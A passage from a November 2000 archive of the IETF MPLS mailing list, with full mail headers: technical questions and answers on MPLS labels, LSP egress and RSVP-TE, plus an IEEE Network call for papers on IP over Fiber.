cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnsu17883 for ; Fri, 3 Nov 2000 17:09:51 GMT Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjnsu09462 for ; Fri, 3 Nov 2000 17:09:51 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id JAA28215 for ; Fri, 3 Nov 2000 09:09:51 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id MAA21740 for mpls@uu.net; Fri, 3 Nov 2000 12:09:49 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjnsr10950 for ; Fri, 3 Nov 2000 16:28:21 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnsr16184 for ; Fri, 3 Nov 2000 16:28:10 GMT Received: from ozias.inrs-telecom.uquebec.ca by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ozias.inrs-telecom.uquebec.ca [192.26.211.164]) id QQjnsr03947 for ; Fri, 3 Nov 2000 16:28:10 GMT Received: from cholla.INRS-Telecom.UQuebec.CA (cholla [192.26.211.110]) by ozias.inrs-telecom.uquebec.ca (8.11.0/8.9.1) with ESMTP id eA3GRt025214; Fri, 3 Nov 2000 11:28:20 -0500 (EST) Received: from cholla by cholla.INRS-Telecom.UQuebec.CA (8.9.3+Sun/SMI-SVR4) id LAA00876; Fri, 3 Nov 2000 11:27:46 -0500 (EST) Message-Id: <200011031627.LAA00876@cholla.INRS-Telecom.UQuebec.CA> Date: Fri, 3 Nov 2000 11:27:46 -0500 (EST) From: Tarik Alj Reply-To: Tarik Alj Subject: Re: MPLS simulator To: sasilva@dei.uc.pt Cc: mpls@UU.NET MIME-Version: 1.0 Content-Type: TEXT/plain; charset=ISO-8859-1 Content-MD5: KDEL5KQvUdjsz89p8NtWKA== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4u sparc Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by ietf.org id MAA08986 ns now includes an MPLS module. Please see [http://www.isi.edu/nsnam/ns]. >From: "Sá Silva" >To: >Subject: MPLS simulator >Date: Fri, 3 Nov 2000 16:20:52 -0000 >X-MSMail-Priority: Normal >X-Priority: 3 >MIME-Version: 1.0 >Content-Transfer-Encoding: 7bit > >Hi > >Is there any free MPLS simulator? > >Thanks in advance > >Jorge >(sasilva@dei.uc.pt) Tarik From owner-mpls@UU.NET Fri Nov 3 12:54:08 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA20674 for ; Fri, 3 Nov 2000 12:54:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnsx29035; Fri, 3 Nov 2000 17:53:35 GMT Received: by mail-control.mail.uu.net id QQjnsx00942 for mpls-outgoing; Fri, 3 Nov 2000 17:53:02 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnsx00936 for ; Fri, 3 Nov 2000 17:52:58 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnsx08997 for ; Fri, 3 Nov 2000 17:52:39 GMT Received: from ex-pub-corp.efi.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [63.108.37.2]) id QQjnsx05278 for ; Fri, 3 Nov 2000 17:52:38 GMT Received: from efi.com (outre.efi.com [10.10.69.5]) by ex-pub-corp.efi.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id WC490T7D; Fri, 3 Nov 2000 09:52:38 -0800 Message-ID: <3A02FB66.97B60C0B@efi.com> Date: Fri, 03 Nov 2000 09:52:38 -0800 From: Saurabh Shrivastava Organization: Electronics For Imaging Inc. X-Mailer: Mozilla 4.61 [en] (X11; U; IRIX 6.5 IP32) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET, Saurabh Shrivastava Subject: questions on MPLS architecture Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit 1. Implicit NULL label - are the following equivalent - a. LSR L has a NULL label as a binding for FEC F (this means this LSR will pop the label stack and forward packet) b. LSR L is an upstream LSR for FEC F, and the downstream LSR R has negotiated L to pop the label stack when L forwards a packet of FEC F to R. Or in other words is this statement correct - whenever a Rd negotiates PHP for FEC F with Ru, Ru assigns the NULL label to FEC F 2. 4.1.4. LSP Egress and LSP Proxy Egress An LSR R is considered to be an "LSP Egress" LSR for address prefix X if and only if one of the following conditions holds: 1. R has an address Y, such that X is the address prefix in R's routing table which is the longest match for Y, or what does the above point mean ? Can someboy please give an example -- -------------------------------------------------------------------- Non-Reciprocal Laws of Expectations: Negative expectations yield negative results. Positive expectations yield negative results. Saurabh Shrivastava Saurabh.Shrivastava@efi.com Electronics for Imaging 650.357.3820 (office-direct) http://www.efi.com/ 650.592.2634 (residence) -------------------------------------------------------------------- From nghani@sorrentonet.com Fri Nov 3 16:31:26 2000 Received: from srnex01.sd.osicom.com ([63.200.199.147]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA01053 for ; Fri, 3 Nov 2000 16:31:25 -0500 (EST) Received: by srnex01.sd.osicom.com with Internet Mail Service (5.5.2650.21) id ; Fri, 3 Nov 2000 13:25:38 -0800 Message-ID: <022A2DBC40A6D411967000D0B78892A61C446F@srnex01.sd.osicom.com> From: "Ghani, Nasir" To: "'sylor@concord.com'" , "'HO@ambernetworks.com'" , "'sunwlee@netlab.ce.kyungpook.ac.kr'" , "'harald.pettersen@telenor.com'" , "'simon.f.carter@bt.com'" , "'swadhwa@redstonecom.com'" , "'christer.svensson@broadswitch.com'" , "'kjohnson@uu.net'" , "'kky_lee@yahoo.com'" , "'mvb@miscrit.be'" , "'sudarsand@future.futsoft.com'" , "'Mangin@tcl.ite.mee.com'" , "'dcaplan@avici.com'" , "'eberspaecher@ind.uni-stuttgart.de'" , "'Fritz-Joachim.Westphal@telekom.de'" , "'dmorrell@juniper.net'" , "'pchen@ennovatenetworks.com'" , "'jkarthik@avici.com'" , "'namura@ksw.ncos.nec.co.jp'" , "'kschroder@nexabit.com'" , "'nandakb@future.futsoft.com'" , "'pravinb@caip.rutgers.edu'" , "'debopam@alpha.dtix.com'" , "'sukeshgg@caip.rutgers.edu'" , "'jdoyle@juniper.net'" , "'cpignata@softnet.com.ar'" , "'Zakolskij@telbank.pl'" , "'mkontoff@avici.com'" , "'weiguo.wang@alcatel.com.sg'" , "'jenny@nm3.ccl.itri.org.tw'" , "'sean.murphy@Teltec.DCU.IE'" , "'ssingatw@nortelnetworks.com'" , "'xing.chen@usa.alcatel.com'" , "'fni@miscrit.be'" , "'Wayne.Ding.wding@nortelnetworks.com'" , "'Gregory.Wright.gwright@nortelnetworks.com'" , "'Michael.Chen.mchen@nortelnetworks.com'" , "'Liam.Casey.liam@nortelnetworks.com'" , "'dallan@nortelnetworks.com'" , "'ballarte@nortelnetworks.com'" , "'bryenton@nortelnetworks.com'" , "'petera@nortelnetworks.com'" , "'jamoussi@nortelnetworks.com'" , "'huiwc@nortelnetworks.com'" , "'iduncan@nortelnetworks.com'" , "'rachid@nortelnetworks.com'" , "'gerardp@nortelnetworks.com'" , "'djamies@nortelnetworks.com'" , "'peter.atterton.atterton@nortelnetworks.com'" , "'sdshew@nortelnetworks.com'" , "'sparmar@nortelnetworks.com'" , "'osama@nortelnetworks.com'" , "'leecy@nortelnetworks.com'" , "'aabes@quarrytech.com'" , "'dproch@fore.com'" , "'wiztech@cmpnetmail.com'" , "'pathan@motispd.com'" , "'h.kanayama@esc.longdist.ntt.co.jp'" , "'mpls-archive@lists.ietf.org'" , "'phoulik@redstonecom.com'" , "'marcf@us.ibm.com'" , "'suchi@lcs.mit.edu'" , "'roland_yeo@nus.edu.sg'" , "'derek@wireless.stanford.edu'" , "'ssevans@nortelnetworks.com'" , "'nafea@galileo.co.il'" , "'ytq@sz.huawei.com.cn'" , "'shbiswas@nortelnetworks.com'" , "'kaifu@3com.com'" , "'ietf-mpls-newsgate@nntp.cig.mot.com'" , "'JonDuri.Sarott@broadnet.ascom.ch'" , "'sanjayk@dnrc.bell-labs.com'" , "'tom.ruban@gmx.net'" , "'jagnese@northpoint.net'" , "'akshat@daewoo.dti.daewoo.co.kr'" , "'javigon@nortelnetworks.com'" , "'pschlatt@nt.hirschmann.de'" , "'raj@redback.com'" , "'etxmacu@etxb.ericsson.se'" , "'jeanlou.dupont@na.marconicomms.com'" , "'work@pack.org'" , "'eshee@att.com'" , "'pkj@cypress.com'" , "'dparaje@teleline.es'" , "'Ignas.Bagdonas@sc.vu.lt'" , "'vknu@otol.fi'" , "'rksingh@hss.hns.com'" , "'ghassansemaan@yahoo.com'" , "'abe.shin@mti.longdist.ntt.co.jp'" , "'Jani.M.Kokkonen@nokia.com'" , "'damien.collart@win.be'" , "'qv@juniper.net'" , "'mland@cignal.com'" , "'chaitk@Exchange.Microsoft.com'" , "'parksy@ccs.sogang.ac.kr'" , "'teruyuki@bcd.abk.nec.co.jp'" , "'Alexander.Marhold@xandl.cso.net'" , "'yhkim@etri.re.kr'" , "'shung@allayer.com'" , "'Sudhanshu.Jain@lucent.com'" , "'ricardo.gerbolesespina@telefonica.es'" , "'Jean.Conti@swisscom.com'" , "'jreister@coppermountain.com'" , "'lberger@labn.net'" , "'David_Ready@tenornetworks.com'" , "'okim@telperion-net.com'" , "'ayyangar@apollo.mctr.umbc.edu'" , "'jmedlock@TenorNetworks.com'" , "'adunstan@avici.com'" , "'yoon.chang@nist.gov'" , "'tanun@ee.eng.chula.ac.th'" , "'gabriele@prz.tu-berlin.de'" , "'chitrapu@cotton.vislab.olemiss.edu'" , "'mhospoda@rocs.com'" , "'jquinn@compd.com'" , "'jinsuh@dcn.soongsil.ac.kr'" , "'Dirk.Maeckelberghe@swift.com'" , "'rramos@euskaltel.es'" , "'James.Fu@tellabs.com'" , "'achal@ipmobile.com'" , "'chris@algx.net'" , "'natalie.c.ramsay@adn.alcatel.com'" , "'James.Cheng@fnc.fujitsu.com'" , "'zzhang@argon.com'" , "'kojima@sst.abk.nec.co.jp'" , "'fsalazar@corp.netcom.ca'" , "'ramy@nortelnetworks.com'" , "'ppatel@ipmobile.com'" , "'ShenXulei@sbell.com.cn'" , "'gash@att.com'" , "'jwhyte@UU.NET'" , "'kdegraaf@argon.com'" , "'pavel@nortelnetworks.com'" , "'jsugg@juniper.net'" , "'christiane@trt6.gov.br'" , "'nishant@nortelnetworks.com'" , "'stacy@ixc-comm.com'" , "'mmathew@nortelnetworks.com'" , "'rshekhar@redstonecom.com'" , "'prz@siara.com'" , "'Frank_Kerremans@baynetworks.com'" , "'cheng@motispd.com'" , "'duan@cs.umn.edu'" , "'prabakarts@future.futsoft.com'" , "'AB@datcon.co.uk'" , "'gikas@csi.forth.gr'" , "'dbruns@brutus.demon.digex.net'" , "'rfrancis@fore.com'" , "'jhkim@dmc.htc.hanwha.co.kr'" , "'reese@access1.digex.net'" , "'Luca.DeMatteis@CRAMER.CO.UK'" , "'Don.Frey@fnc.fujitsu.com'" , "'mkarasek@anect.cz'" , "'cchen@asl.dl.nec.com'" , "'pramodh@ittc.ukans.edu'" , "'VijayK@ambernetworks.com'" , "'jfneu@newbridge.com'" , "'lgao@public.bta.net.cn'" , "'jixh@chinascape.cn.net'" , "'willems@lucent.com'" , "'radriaan@nortelnetworks.com'" , "'Mark.Bath@RacalInternet.com'" , "'dmbrooks@lucent.com'" , "'mld@dks.se'" , "'jesus.garcia@b3telecom.fr'" , "'sushma@yagosys.com'" , "'tomkri@freya.unik.no'" , "'petzi@apfel.de'" , "'eng@allayer.com'" , "'jkchoi@icu.ac.kr'" , "'mpls@apollo.mctr.umbc.edu'" , "'raor@techmail.gdc.com'" , "'iokumus@mailbox.syr.edu'" , "'dwood@digex.net'" , "'vatsa@fore.com'" , "'bohallor@nortelnetworks.com'" , "'miroslav.vrana@alcatel.be'" , "'Patrik.Evaldsson@era-t.ericsson.se'" , "'albin@owl.frontier.com'" , "'sridhar@samsung.co.kr'" , "'mike.frietman@icoe.att.com'" , "'Jan.van.der.Graaf@bcn.ericsson.se'" , "'etxmibu@etxb.ericsson.se'" , "'RNewcomb@invernessinc.com'" , "'suelin@vnet.ibm.com'" , "'hao@owl.wpi.edu'" , "'myang@abaqos.com'" , "'NPW@datcon.co.uk'" , "'bugalloh@metrored.com.ar'" , "'Kenneth.Hann@tellabs.fi'" , "'gbnaidu@sasi.com'" , "'Muhammad.Sarwar@tddny.fujitsu.com'" , "'dai@IRI.co.jp'" , "'vsinha@fore.com'" , "'gregs@prioritycall.com'" , "'jparsons@bbnplanet.com'" , "'snyder@RedBackNetworks.com'" , "'ostokes@extremenetworks.com'" , "'WTu@PRIMUSTEL.com'" , "'molendin@ultra5.unile.it'" , "'mtaira@logicaleffect.com'" , "'Ramana_Gollamudi@Newbridge.COM'" , "'h.hopkins@accent-on-networks.co.uk'" , "'fredrik@it.kth.se'" , "'sten.nordell@utfors.se'" , "'MLTeng@aol.com'" , "'vanik@future.futsoft.com'" , "'russmanr@psi.com'" , "'muhammad@ctr.columbia.edu'" , "'ceylan@ece.uci.edu'" , "'ojas@ipmobile.com'" , "'ananda@dtix.com'" , "'sduggal@inktomi.com'" , "'takenaga@pkt.ts.fujitsu.co.jp'" , "'cflores@ixc-comm.com'" , "'clitvan@advtech.uswest.com'" , "'vjshah@nortelnetworks.com'" , "'tnlan@gmx.net'" , "'dwfedyk@nortelnetworks.com'" , "'neetug@daewoo.dti.daewoo.co.kr'" , "'gkhera@nortelnetworks.com'" , "'manu.prakash@xylan.com'" , "'crimson@gweep.net'" , "'tor@redback.com'" , "'nzvaig@adtech-inc.com'" , "'rmanur@ncorenetworks.com'" , "'yun@trd.tmg.nec.co.jp'" , "'sdey@dtix.com'" , "'timm@tenornetworks.com'" , "'bill@wizard.gsfc.nasa.gov'" , "'kisikawa@mxk.mesh.ne.jp'" , "'inas.said@nokia.com'" , "'sumimoto.junichi@lab.ntt.co.jp'" , "'JBadd@bclnz.co.nz'" , "'Robert.Shaw@itu.int'" , "'Alex.Rosenbaum@predictive.com'" , "'fowler@syndesis.com'" , "'ren@appiancom.com'" , "'asr@latency.net'" , "'n-kobayasi@fdt.ts.fujitsu.co.jp'" , "'EKrainov@microtest.ru'" , "'afuellemann@unisphere.cc'" Subject: Reminder/Call for Papers: IEEE Network Magazine Special Issue on IP over Fiber Date: Fri, 3 Nov 2000 13:25:35 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C045DC.9ADF9700" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C045DC.9ADF9700 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable > Call For Papers=20 > IEEE Network Magazine > Special Issue on IP Over Fiber >=20 >=20 > Guest Editors >=20 > Debanjan Saha Nasir Ghani > Tellium Optical Networking Systems Sorrento Networks Inc., > 2 Crescent PlaceOceanport, NJ 07757-0901 9990 Mesa Rim Road > Phone: 732-923-4264 San Diego, CA 92121 > Fax: 732-923-9804 Phone: (858) > 646-7192 > Email: dsaha@tellium.com Fax: (858) 558-3980 > Email: > nghani@sorrentonet.com >=20 >=20 > Scope: >=20 > Recent advances in optical technologies have opened up a world of new > opportunities.=20 > Optical networks offer virtually unlimited bandwidth, a very = important > ingredient=20 > for sustaining the organic and explosive growth of the Internet. = Massive > deployment=20 > of optical networking gear is already underway in long-haul networks. > Falling component=20 > costs have also made metro and access arena deployment prospects > increasingly viable.=20 > In light of this new technological trend "IP over Fiber" has become a > topic of=20 > unprecedented interest in academia and industry alike. >=20 > It is widely expected that the convergence of IP and Optical layers = will > be the defining=20 > theme in the next phase of expansion of the Internet. The emergence = of the > IP multi- > protocol label switching (MPLS) framework as a common control plane = for > data and optical=20 > layers is an early, but definitive indication of that trend. This is > clearly going to=20 > influence how future network elements are designed, and how the = networks > are architected,=20 > engineered and managed. A number of vendors are developing "hybrid" > devices that integrate=20 > IP and optical networking technologies in very innovative ways. = Various > service providers=20 > are architecting their networks around these new "convergent" network > elements and planning=20 > for cost-effective migration strategies from the current TDM-based > infrastructures to the=20 > network of the future. =20 >=20 > In order to gain a better understanding of this exciting new field of > telecommunications,=20 > this special issue of IEEE Network Magazine seeks to survey, = consolidate, > and present the=20 > leading-edge research and engineering work in the IP-over-fiber = space. In > particular,=20 > focused tutorial and survey contributions are solicited on (but not > restricted to) the=20 > following subject categories:=20 >=20 > =B7 Multi-protocol Lambda Switching > =B7 Traffic engineering across optical and data planes > =B7 Constraint based lightpath routing > =B7 IP routing protocol enhancements for lightpath routing > =B7 Signaling protocols for lightpath provisioning=20 > =B7 IP centric restoration schemes for lightpaths > =B7 Convergent network architectures, hybrid network elements > =B7 IP centric service and network management solutions > =B7 Migration and deployment scenarios/solutions > =B7 Test-bed implementations, network trials, and related = experimental > projects. > =20 > Submission: >=20 > We plan to use electronic submission in either PostScript (.ps) or = PDF > file formats. In=20 > order to submit a paper for consideration, authors should send the > following information to=20 > the guest editors via email (dsaha@tellium.com and = nghani@sorrentonet.com) >=20 > 1. Title, Abstract of the paper and list of authors.=20 > 2. Indicate which author is to serve as the primary correspondence > contact.=20 > 3. Please list affiliation, mailing address, phone/fax numbers, and > email address of=20 > the correspondence author.=20 >=20 > The correspondence author will then be provided with instructions to > upload the paper at=20 > a Website. >=20 > In order to ensure that the PostScript versions of the papers can be > printed, please use=20 > PostScript Version 2 or later. Also ensure that the paper fits on "US > Letter" size paper=20 > (8.5x11 inches). Reference only Computer Modern or standard Adobe = printer > fonts (i.e.,=20 > Courier, Times, Roman, or Helvetica); other fonts may be used but = must be > included in the=20 > PostScript file. Additional information including "Guidelines for = authors" > is available at=20 > the IEEE Network Website: > http://www.comsoc.org/socstr/techcom/ntwrk/authors.html >=20 > Schedule:=20 >=20 > =B7 Paper Submission Deadline: November 2000=20 > =B7 Feedback to Authors: February 2001=20 > =B7 Final Manuscripts to Publisher: June 2001 > =B7 Publication of Special Issue: October 2001 >=20 ------_=_NextPart_001_01C045DC.9ADF9700 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Reminder/Call for Papers: IEEE Network Magazine Special Issue on = IP over Fiber

        =         =         Call For Papers
        =         =         IEEE Network Magazine
        =         =         Special Issue on IP Over Fiber


Guest Editors

Debanjan Saha   =         =         =         =         Nasir Ghani
Tellium Optical Networking = Systems      =         Sorrento Networks = Inc.,
2 Crescent PlaceOceanport, NJ = 07757-0901        9990 Mesa Rim = Road
Phone: = 732-923-4264     =         =         =         San Diego, CA 92121
Fax: = 732-923-9804       =         =         =         =         Phone: (858) 646-7192
Email: = dsaha@tellium.com        =         =         Fax: (858) 558-3980
        =         =         =         =         =         =         Email: nghani@sorrentonet.com


Scope:

Recent advances in optical = technologies have opened up a world of new opportunities.
Optical networks offer = virtually unlimited bandwidth, a very important ingredient
for sustaining the organic and = explosive growth of the Internet. Massive deployment
of optical networking gear is = already underway in long-haul networks. Falling component
costs have also made metro and = access arena deployment prospects increasingly viable.
In light of this new = technological trend "IP over Fiber" has become a topic of =
unprecedented interest in = academia and industry alike.

It is widely expected that the = convergence of IP and Optical layers will be the defining
theme in the next phase of = expansion of the Internet. The emergence of the IP multi-
protocol label switching (MPLS) = framework as a common control plane for data and optical
layers is an early, but = definitive indication of that trend. This is clearly going to
influence how future network = elements are designed, and how the networks are architected,
engineered and managed. A = number of vendors are developing "hybrid" devices that = integrate
IP and optical networking = technologies in very innovative ways.  Various service providers =
are architecting their networks = around these new "convergent" network elements and planning =
for cost-effective migration = strategies from the current TDM-based infrastructures to the
network of the future.  =

In order to gain a better = understanding of this exciting new field of telecommunications,
this special issue of IEEE = Network Magazine seeks to survey, consolidate, and present the
leading-edge research and = engineering work in the IP-over-fiber space.  In particular, =
focused tutorial and survey = contributions are solicited on (but not restricted to) the
following subject categories: =

=B7       Multi-protocol Lambda = Switching
=B7       Traffic engineering across = optical and data planes
=B7       Constraint based lightpath = routing
=B7       IP routing protocol = enhancements for lightpath routing
=B7       Signaling protocols for = lightpath provisioning
=B7       IP centric restoration = schemes for lightpaths
=B7       Convergent network = architectures, hybrid network elements
=B7       IP centric service and = network management solutions
=B7       Migration and deployment = scenarios/solutions
=B7       Test-bed implementations, = network trials, and related experimental projects.
 
Submission:

We plan to use electronic = submission in either PostScript (.ps) or PDF file formats.  In =
order to submit a paper for = consideration, authors should send the following information to
the guest editors via email = (dsaha@tellium.com and nghani@sorrentonet.com)

1.      = Title, Abstract of the paper and list of authors.
2.      Indicate which author is to serve = as the primary correspondence contact.
3.      Please list affiliation, mailing = address, phone/fax numbers, and email address of
        the correspondence author.

The correspondence author will = then be provided with instructions to upload the paper at
a Website.

In order to ensure that the = PostScript versions of the papers can be printed, please use
PostScript Version 2 or later. = Also ensure that the paper fits on "US Letter" size paper =
(8.5x11 inches). Reference only = Computer Modern or standard Adobe printer fonts (i.e.,
Courier, Times, Roman, or = Helvetica); other fonts may be used but must be included in the
PostScript file. Additional = information including "Guidelines for authors" is available = at
the IEEE Network Website: http://www.comsoc.org/socstr/techcom/ntwrk/authors.htm= l

Schedule:

=B7       Paper Submission Deadline: = November 2000
=B7       Feedback to Authors: = February 2001
=B7       Final Manuscripts to = Publisher: June 2001
=B7       Publication of Special = Issue: October 2001

------_=_NextPart_001_01C045DC.9ADF9700-- From owner-mpls@UU.NET Sat Nov 4 03:46:43 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA08804 for ; Sat, 4 Nov 2000 03:46:43 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnvf02601; Sat, 4 Nov 2000 08:46:21 GMT Received: by mail-control.mail.uu.net id QQjnvf06740 for mpls-outgoing; Sat, 4 Nov 2000 08:45:50 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnvf06732 for ; Sat, 4 Nov 2000 08:45:44 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnvf18305 for ; Sat, 4 Nov 2000 08:45:22 GMT Received: from csa.iisc.ernet.in by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjnvf01164 for ; Sat, 4 Nov 2000 08:45:14 GMT Received: from helios.csa.iisc.ernet.in (IDENT:prasanna@helios.csa.iisc.ernet.in [144.16.67.46]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id OAA06526 for ; Sat, 4 Nov 2000 14:13:01 +0530 Received: from localhost (prasanna@localhost) by helios.csa.iisc.ernet.in (8.9.3/8.9.3) with SMTP id OAA22195 for ; Sat, 4 Nov 2000 14:14:51 +0530 X-Authentication-Warning: helios.csa.iisc.ernet.in: prasanna owned process doing -bs Date: Sat, 4 Nov 2000 14:14:50 +0530 (IST) From: Gaitonde Anandprasanna To: mpls@UU.NET Subject: Qestion Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk I have posted this question many times But ihave not recieved any reply. My qeustion is how does RSVP-TE identify whether the message is RSVP or RSVP-TE ?? Please let me know. I have read the recent draft of RSVP-TE but i could not find any answer to my question. If these things have not been defined by the working group then please let me know. Thanking in advance Pras _____________________________ _ |ANANDPRASANNA GAITONDE | _ / )|COMP. SCIENCE & AUTOMATION |( \ / / |D-7,IISc HOSTEL | \ \ / / |INDIAN INSTITUTE OF SCIENCE| \ \ _( (_ |BANGALORE-560012. | _) )_ (((\ \>|_/->___________________<-\_|; Sat, 4 Nov 2000 04:24:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnvh14443; Sat, 4 Nov 2000 09:24:26 GMT Received: by mail-control.mail.uu.net id QQjnvh21256 for mpls-outgoing; Sat, 4 Nov 2000 09:23:54 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnvh21247 for ; Sat, 4 Nov 2000 09:23:43 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnvh24629 for ; Sat, 4 Nov 2000 09:23:12 GMT Received: from mail3.ntu.edu.sg by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail3.ntu.edu.sg [155.69.1.91]) id QQjnvh03133 for ; Sat, 4 Nov 2000 09:23:10 GMT Received: by mail3.ntu.edu.sg with Internet Mail Service (5.5.2650.21) id ; Sat, 4 Nov 2000 17:07:32 +0800 Message-ID: <9985F17605D2D21192D80008C75DE4BE03950A7E@exchange4.ntu.edu.sg> From: Shen Gangxiang To: Gaitonde Anandprasanna , mpls@UU.NET Subject: RE: Qestion Date: Sat, 4 Nov 2000 17:07:27 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, GA, I don't think it is necessary to explicitly point out whether the message is RSVP or RSVP-TE. Since RSVP-TE is an extension of RSVP, if a LSR can support RSVP-TE, it can definitely support RSVP. In fact, during dealing with those messages, a LSR can use the information whether there are some extended objects such as Label Request, ER, Record Route in a message to implicitly identify whether it is a RSVP-TE message. If there is something missed, please kindly point out. Thanks! Gangxiang -----Original Message----- From: Gaitonde Anandprasanna [mailto:prasanna@csa.iisc.ernet.in] Sent: Saturday, November 04, 2000 4:45 PM To: mpls@UU.NET Subject: Qestion I have posted this question many times But ihave not recieved any reply. My qeustion is how does RSVP-TE identify whether the message is RSVP or RSVP-TE ?? Please let me know. I have read the recent draft of RSVP-TE but i could not find any answer to my question. If these things have not been defined by the working group then please let me know. Thanking in advance Pras _____________________________ _ |ANANDPRASANNA GAITONDE | _ / )|COMP. SCIENCE & AUTOMATION |( \ / / |D-7,IISc HOSTEL | \ \ / / |INDIAN INSTITUTE OF SCIENCE| \ \ _( (_ |BANGALORE-560012. | _) )_ (((\ \>|_/->___________________<-\_|; Sat, 4 Nov 2000 13:21:04 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnwr27660; Sat, 4 Nov 2000 18:20:33 GMT Received: by mail-control.mail.uu.net id QQjnwr18371 for mpls-outgoing; Sat, 4 Nov 2000 18:20:01 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnwr18358 for ; Sat, 4 Nov 2000 18:19:59 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnwr23560 for ; Sat, 4 Nov 2000 18:19:30 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnwr16403 for ; Sat, 4 Nov 2000 18:19:29 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id NAA10980 for mpls@uu.net; Sat, 4 Nov 2000 13:19:29 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnwr18292 for ; Sat, 4 Nov 2000 18:18:59 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnwr15993 for ; Sat, 4 Nov 2000 18:16:58 GMT Received: from mail1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail1.cisco.com [171.68.225.60]) id QQjnwr23386 for ; Sat, 4 Nov 2000 18:16:57 GMT Received: from jsauviac (jsauviac-isdn3.cisco.com [10.21.1.44]) by mail1.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id KAA29344 for ; Sat, 4 Nov 2000 10:16:56 -0800 (PST) From: "Jason 